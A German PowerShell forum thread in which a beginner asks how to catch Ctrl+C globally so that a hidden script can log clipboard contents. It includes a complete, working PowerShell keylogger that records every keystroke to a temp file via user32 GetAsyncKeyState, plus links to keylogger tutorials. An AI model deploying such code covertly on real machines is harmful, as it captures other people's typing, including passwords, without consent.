Jump to content

Keylogger mit nur einem Zweck


Der letzte Beitrag zu diesem Thema ist mehr als 180 Tage alt. Bitte erstelle einen neuen Beitrag zu Deiner Anfrage!

Empfohlene Beiträge

Hallo liebe PS Community,

 

schön, dass es ein solches Forum gibt. :)

Ich hoffe, dass Ihr mir weiterhelfen könnt.

Ich bednake mich jetzt schon für jeden Tip und jeden Vorschlag.

 

Ich bin absoluter Neuling im Gebiet von Powershell. (nur als Vorwarnung)

Trotzdem bin ich recht stolz darauf, dass mein Programm langsam gestallt annimmt.

 

Der letze "Baustein" welchen ich noch benötige wäre eine Art "Keylogger mit nur einem zweck".

Ich weiß nicht mal, ob das Wort Keylogger hier richtig ist (da dies auch oft mit Hacking oder Illegal in Verbindung gebracht wird).

 

Was ich realisieren möchte (die abgespeckte Version für euch zum besseren Verständnis):

 

- Ich habe eine Endlosschleife.

- Diese lässt sich nur mittels Tastenkombiantion STRG + C beenden

 

Soweit so gut... aber:

 

- Für die Tastenkombination STRG + C muss das PS Fenster/Console aktiv sein. (was ja sinn macht, denn sonst bekommt PS den STRG+C Befehl ja gar nicht mit)

 

Genau das möchte ich ändern. Ich möchte, dass egal welches Fenster aktiv ist oder egal ob mein PS-Script minimiert in der Leiste (oder sogar versteckt mit -hiddenwindow) auf das STRG + C reagiert.

 

Gibt es dazu Möglichkeiten?

Ich habe schon einige Stunden Google hinter mir.

Es gibt zwar viel Material und Infos dazu.

Jedoch nicht genau das, was ich brauche.

 

Ich bin wie gesagt sehr dankbar für jeden Vorschlag.

 

Vielen Dnak

Gruß

Commandrer

Link zu diesem Kommentar

Das wird nicht einfach. Es gibt zur Registrierung eines globalen Hotkeys keine Funktion in PowerShell. Man könnte evtl. C#-Code einbinden:

https://www.fluxbytes.com/csharp/how-to-register-a-global-hotkey-for-your-application-in-c/

Aber das wird dann schnell unübersichtlich.

 

Oder man fängt (wie bei einem Keylogger) wirklich alle Tastaturanschläge mit und reagiert, wenn die gewünschte Kombination kommt:

https://www.tarlogic.com/en/blog/how-to-create-keylogger-in-powershell/

Ich habe das Gefühl, dass dieses Vorgehen recht viel CPU verbrät im Hintergrund.

 

Man könnte parallel ein AutoIt-Script laufen lassen. AutoIt unterstützt globale Hotkeys:

https://www.autoitscript.com/site/autoit/

Dieses könnte bei Drücken der Tastenkombination dann entweder den PowerShell-Prozess killen oder eine Datei anlegen, deren Existenz das Script prüft und sich dann beendet.

 

Vernünftiger wäre es wohl, das Tool gleich in C# zu schreiben.

Link zu diesem Kommentar

Hallo mwiederkehr,

 

vielen dank für deine Vorschläge! :)

Die beiden oberen Vorschläge hatte ich bereits vor meinem Post studiert. Jedoch ist das nicht das, was ich suche.

Die Idee mit Autoit ist nicht schlecht! :)... Das werde ich mir mal genauer anschauen.

Streng genommen habe ich mir bereits einen Keylogger organisieren können.

Dieser zeichnet alle Tasten auf und nach "STRG+C" wird eine TextDatei erstellt mit allen geschriebenen Tasten.

Das Problem: Damit der Keylogger endet, muss "STRG+C" im AKTIVEN Powershell Fenster gedrückt werden.

 

An und für sich registriert Powershell also die Tasten (streng genommen ist es also möglich) jedoch verarbeitet Powershell das ganze erst mit STRG+C im Powershell Fenster.

Ich füge hier mal den Code des Keylogger sein, welchen ich verwende, vieleicht hilft euch das:

 


#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
  # Signatures for API Calls
  $signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

  # load signatures and make members available
  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
    
  # create output file
  $null = New-Item -Path $Path -ItemType File -Force

  try
  {
    Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red

    # create endless loop. When user presses CTRL+C, finally-block
    # executes and shows the collected key presses
    while ($true) {
      Start-Sleep -Milliseconds 40
      
      # scan all ASCII codes above 8
      for ($ascii = 9; $ascii -le 254; $ascii++) {
        # get current key state
        $state = $API::GetAsyncKeyState($ascii)

        # is key pressed?
        if ($state -eq -32767) {
          $null = [console]::CapsLock

          # translate scan code to real code
          $virtualKey = $API::MapVirtualKey($ascii, 3)

          # get keyboard state for virtual keys
          $kbstate = New-Object Byte[] 256
          $checkkbstate = $API::GetKeyboardState($kbstate)

          # prepare a StringBuilder to receive input key
          $mychar = New-Object -TypeName System.Text.StringBuilder

          # translate virtual key
          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

          if ($success)
          {
            # add key to logger file
            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
          }
        }
      }
    }
  }
  finally
  {
    # open logger file in Notepad
    notepad $Path
  }
}

# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
Start-KeyLogger

 

------

Hallo testperson (kaaaaaarl!!!)

ich versuche allgemein mein programm zu beschreiben. Eventuell kriegst du dadurch eine neue Idee.

 

Was das Programm tut:

- Im Hintergrund (unsichtbar) wartet die Schleife quasi nur darauf, dass STRG+C gedrückt wird.

- Dann bricht die Schleife ab und das Programm wird ausgeführt, welches die Zwischenablage (welche ja auch mit STRG+C ausgelöst wird) in eine Textdatei kopiert.

- Nach dem Kopieren startet die: "Ich warte auf STRG+C-Schleife" erneut.

 

Ich will quasi meine Zwischenablage protokollieren und in eine Datei schreiben. :)

Und bevor er vorgeschlagen wird:

https://ditto-cp.sourceforge.io/

Ist mir bekannt. Genau das Programm versuche ich quasi nachzubauen. :)

 

Danke für eure Hilfe und ich hoffe meine Infos bringen euch weiter. :)

Gruß

Commandrer

bearbeitet von Commandrer
Link zu diesem Kommentar

Du kannst das Verhalten des Keyloggers ja ändern, damit er nicht erst auf Ctrl-C reagiert.

 

Aber jetzt wo wir wissen, was Du eigentlich machen möchtest, ist es einfacher. :-) Du kannst direkt bei Änderungen in der Zwischenablage benachrichtigt werden:

https://mnaoumov.wordpress.com/2013/08/31/cpowershell-clipboard-watcher/

 

Das funktioniert dann auch, wenn ein Benutzer etwas über das Kontextmenü in die Zwischenablage kopiert.

Link zu diesem Kommentar
Der letzte Beitrag zu diesem Thema ist mehr als 180 Tage alt. Bitte erstelle einen neuen Beitrag zu Deiner Anfrage!

Schreibe einen Kommentar

Du kannst jetzt antworten und Dich später registrieren. Falls Du bereits ein Mitglied bist, logge Dich jetzt ein.

Gast
Auf dieses Thema antworten...

×   Du hast formatierten Text eingefügt.   Formatierung jetzt entfernen

  Only 75 emoji are allowed.

×   Dein Link wurde automatisch eingebettet.   Einbetten rückgängig machen und als Link darstellen

×   Dein vorheriger Inhalt wurde wiederhergestellt.   Editor-Fenster leeren

×   Du kannst Bilder nicht direkt einfügen. Lade Bilder hoch oder lade sie von einer URL.

×
×
  • Neu erstellen...